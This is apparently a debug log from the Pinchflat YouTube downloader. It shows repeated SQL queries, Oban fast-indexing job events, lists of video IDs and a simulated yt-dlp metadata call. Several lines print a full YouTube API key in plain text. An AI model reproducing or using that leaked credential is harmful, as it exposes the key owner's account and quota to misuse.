s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [7] 16:47:54.881 [debug] QUERY OK source="sources" db=0.1ms idle=909.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [25] 16:47:54.881 [debug] QUERY OK source="settings" db=0.0ms idle=903.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:47:54.881 [debug] QUERY OK source="settings" db=0.1ms idle=6.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:47:54.881 [debug] QUERY OK source="media_profiles" db=0.0ms idle=0.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:47:54.882 [debug] QUERY OK source="media_profiles" db=0.0ms idle=0.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:47:54.882 [debug] QUERY OK source="settings" db=0.0ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:47:54.882 [debug] Fetching recent media IDs from YouTube API for playlist: UUZU9T1ceaOgwfLRq7OKFU4Q 16:47:54.882 [debug] QUERY OK source="settings" db=0.0ms idle=0.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:47:54.882 [debug] Fetching recent media IDs from YouTube API for playlist: UUnZx--LpG2spgmlxOcC-DRA 16:47:54.882 [debug] QUERY OK source="settings" db=0.0ms idle=0.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:47:54.882 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:47:54.882 [debug] QUERY OK source="settings" db=0.0ms idle=0.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:47:54.882 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:47:55.068 [debug] QUERY OK source="media_items" db=0.6ms idle=186.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [7, "YJYGJQeq9XA", "bMMG9TqH7Cg", "ivwGdPaEKgw", "MSim6wHctJs", "a-pw6MLvxG4", "iJFXHSikXAw", "cX4nq3oWHEs", "sx0pL-IG9ZY", "I18RjNvKBb0", "w3xqsMv6T_k", "UJLnAxofL4w", "461UOs0Bvpo", "eeeIX-jPCfU", "I_dqiK6FEUw", "1F0KOBiLPJY", "GOY1nrnGFoQ", "49AR2G__gbY", "moBfszFIlZU", "ooneAa4P_DI", "5qJ4lBwxSHs", "EGIq02dD1_o", "ud56dWtJZuI", "wQxngUFOoqY", "Moi8q2spry8", "tdkSl_8BMDM", "3gZQa8wvPyQ", "A-WuDVu8Aec", "inZfAQX-ikk", "A5fjsYyBYeM", "RHbqw8PpDrk", "9BfpQaUdIKA", "vS959lEUED0", "3HO-1R_ye40", "cWrGe7BDnHY", "Hih6I3DOPZQ", "BMNtRwFDB6s", "3IzWVKqW8LA", "1OJcqhrA0aE", "xfk3OnaKJRU", "W5PifMAnoJY", "zR4OJ9_S5mU", "KWWxrVzMk-s", "WNGbL6zTXg0", "XnuH8t5MmWU", "zNYsw-cW8v8", "vq4TbSxK0P0", "pgCBgctN_VU", "2SM3dlbe2S8", "vwLSANJYMf4", ...] 16:47:55.071 [debug] QUERY OK source="media_items" db=2.4ms idle=187.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [7] 16:47:55.072 [debug] QUERY OK source="tasks" db=0.1ms idle=190.1ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268324, 7, ~U[2026-10-09 21:47:55Z], ~U[2026-10-09 21:47:55Z]] 16:47:55.072 [info] {"args":{"id":7},"id":5268284,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":191344,"event":"job:stop","queue_time":431282,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:47:55.332 [debug] QUERY OK source="media_items" db=0.8ms idle=259.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [25, "hsY3IJVKOcw", "a0YlDUdNjqc", "62hl5tFrodQ", "gStpYu84aRQ", "uKW8Td2gynY", "TpU_mB8MO4k", "EzkSQzP0ExQ", "kCuY95F6R40", "Xu7wneIzhPM", "IzNFKW9EIuA", "sZ1xZHqxah4", "55BSBuorfhQ", "Aw2XEiN1VNY", "IiH_inHowI8", "2uqbR-ntKdE", "0aa6XyEQgFY", "fMN1zdsyVTg", "vjcS8RKa194", "ocYp07IRgxQ", "_9adBz4FN5Y", "IYDwHD9p_qQ", "aSYbsUlefuk", "CZY_iUWtd5Y", "r3zmwPNRdPc", "_ZAEcUvqFnk", "ba1BfC-NO7s", "3gg3-t2CUn4", "pAwv29cLSq0", "GzJ7TaJIhhs", "Bc5RIeIjZT8", "t9XtC85e-tQ", "InaGX4XhPk0", "HSVmPi_p_GQ", "3Bp8fDX_9pY", "2xy8vg2WLz4", "bG0VnCUZm-s", "NIDy6_QXX-E", "Lhoi-gx3O9I", "6jLIm8Bt2dA", "8rf4YP-OlFs", "llaLuaNTA-Q", "QhxZ2JujRLs", "MEdMneWCqFA", "t0kErQN5pbM", "K7j9ONAplwY", "4rEcECZeyoE", "RwIhXqA7tQg", "_v18JX0Nwvk", "kZR4QlyyBO4", ...] 16:47:55.335 [debug] QUERY OK source="media_items" db=1.8ms idle=261.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [25] 16:47:55.336 [debug] QUERY OK source="tasks" db=0.1ms idle=256.9ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268325, 25, ~U[2026-10-09 21:47:55Z], ~U[2026-10-09 21:47:55Z]] 16:47:55.336 [info] {"args":{"id":25},"id":5268285,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":455113,"event":"job:stop","queue_time":230430,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:47:55.882 [info] {"args":{"id":38},"id":5268286,"meta":{},"system_time":1791582475882264113,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:47:55.882 [debug] QUERY OK source="sources" db=0.1ms idle=546.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [38] 16:47:55.882 [debug] QUERY OK source="settings" db=0.0ms idle=545.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:47:55.882 [debug] QUERY OK source="media_profiles" db=0.1ms idle=540.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:47:55.883 [debug] QUERY OK source="settings" db=0.0ms idle=6.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:47:55.883 [debug] Fetching recent media IDs from YouTube API for playlist: UU04RYGK0kWq2GJH7uKuvdFg 16:47:55.883 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:47:55.883 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:47:56.225 [debug] QUERY OK source="media_items" db=0.6ms idle=342.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [38, "RFdUqYYAok4", "d4OvQ3ab3LU", "2zW3Yfqguqo", "TliajZWaa6w", "KxPnKhHwTss", "CNXmT6_AgYI", "9MeAJILthTI", "Sa3rM0oMmII", "XI57UTwhiHk", "ViBIKuIjePA", "wk-5m6cDEFg", "0Tot2YHwYNw", "vXMKnG6EI-o", "qj89Pt8CG8Y", "0IEv_NJo28w", "jmg3WF44TX4", "dFAjDGLGGdo", "1YcOlzRT5fI", "kZRvqOLkYT8", "1Z7bFTHQVLE", "6bKxtOkucuE", "8W8aD92ICuA", "i302110skWk", "13rEmidnw4A", "-X2v_sQA-j0", "L0rHhCEKvgo", "nYD-kE0bAY4", "XUlR2DVedTg", "l2X92jlagKg", "1igbvUoJcP8", "7514uMl2EX0", "I3mHsRo707I", "fUxEAMiqGYY", "mD4HUXQMG2U", "f3q2mXFrACc", "g8YEYPROiwk", "slWVHwC-XHc", "iBfyeFSpPXU", "9kBUy4NgMAI", "cljD9rspFsA", "IM1njZ0AuP8", "gW-kYYBK5t4", "tobDwFmXHwQ", "8U8zEXmqpRI", "_E049Xhgah4", "Iwzmx_EyHJI", "TRMxPhMhq70", "FHvAe63pYvM", "IKVwG8AizeA", ...] 16:47:56.228 [debug] QUERY OK source="media_items" db=2.1ms idle=343.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [38] 16:47:56.229 [debug] QUERY OK source="tasks" db=0.1ms idle=345.8ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268326, 38, ~U[2026-10-09 21:47:56Z], ~U[2026-10-09 21:47:56Z]] 16:47:56.229 [info] {"args":{"id":38},"id":5268286,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":346935,"event":"job:stop","queue_time":448150,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:48:00.414 [info] {"source":"oban","duration":157,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:48:15.061 [info] {"source":"oban","duration":10278,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":12} 16:48:45.071 [info] {"source":"oban","duration":10056,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":3} 16:48:58.946 [info] {"args":{"id":19},"id":5268287,"meta":{},"system_time":1791582538946235008,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:48:58.946 [debug] QUERY OK source="sources" db=0.1ms idle=1006.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [19] 16:48:58.947 [debug] QUERY OK source="settings" db=0.5ms idle=252.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:48:58.947 [debug] QUERY OK source="media_profiles" db=0.0ms idle=253.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:48:58.947 [debug] QUERY OK source="settings" db=0.0ms idle=6.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:48:58.947 [debug] Fetching recent media IDs from YouTube API for playlist: UUk5aCrQAppGZ8atiOpgYZ1A 16:48:58.947 [debug] QUERY OK source="settings" db=0.0ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:48:58.947 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:48:59.282 [debug] QUERY OK source="media_items" db=0.7ms idle=335.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [19, "naCTNxdZUJA", "W3qbEpIV6d4", "JPK6Tr1wizg", "KlkTi0h6KMw", "RMeAu8zYE0M", "Uvtj9sm0I-0", "IU1DgFBs7ts", "EkRq1nMOx9g", "DrDbZGDQIro", "hW4dvJT12VM", "B3vnE_bMu9g", "H4LWdyhRxIQ", "2Hm7RVlLJoE", "EfV91BjF5v4", "zL_s6dKitH0", "LzpVMWSROmY", "FaAHxpEdNck", "ToiduPpGIww", "nJ8fAfVevL8", "5jD4iU2_v4k", "IOuEO4Yaov0", "9sDIniWlIyw", "6VEm1oEv2UY", "gPyD2VYszUw", "zx5EqJCeYrk", "TbNdF9p7ZFY", "XiYTS435uuk", "b4CKcXNSNRc", "jAOobWqKaPQ", "yb5ybMem31Y", "5tPjlkyHJwI", "TlTDor_WXEo", "xnsHAYTNP5Y", "ojEWbNH0U_4", "4BvLKmBYOOo", "pMx1DnSn-eg", "Fp79NGnQBEw", "XUsoHp6_t2s", "VkZH3QYqD6U", "i55Pa_l8Xe8", "J7KVJ8D0AM8", "vlgFGxnHNMA", "Aa3KtmGEby4", "paX6IcPZPjM", "RvUrQWeK558", "n2qu3sMwexE", "hr7YFJ8iBL8", "YAhQJ08bzgs", "oPWfOh0LYZk", ...] 16:48:59.283 [debug] QUERY OK source="settings" db=0.0ms idle=336.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:48:59.283 [debug] QUERY OK source="settings" db=0.0ms idle=336.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:48:59.283 [debug] Running yt-dlp command for action: get_media_attributes 16:48:59.284 [debug] QUERY OK source="settings" db=0.0ms idle=336.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:48:59.284 [debug] QUERY OK source="settings" db=0.0ms idle=336.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:48:59.284 [debug] QUERY OK source="settings" db=0.0ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:48:59.284 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=hW4dvJT12VM --simulate --skip-download --output /downloads/Yo Samdy Sam/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j 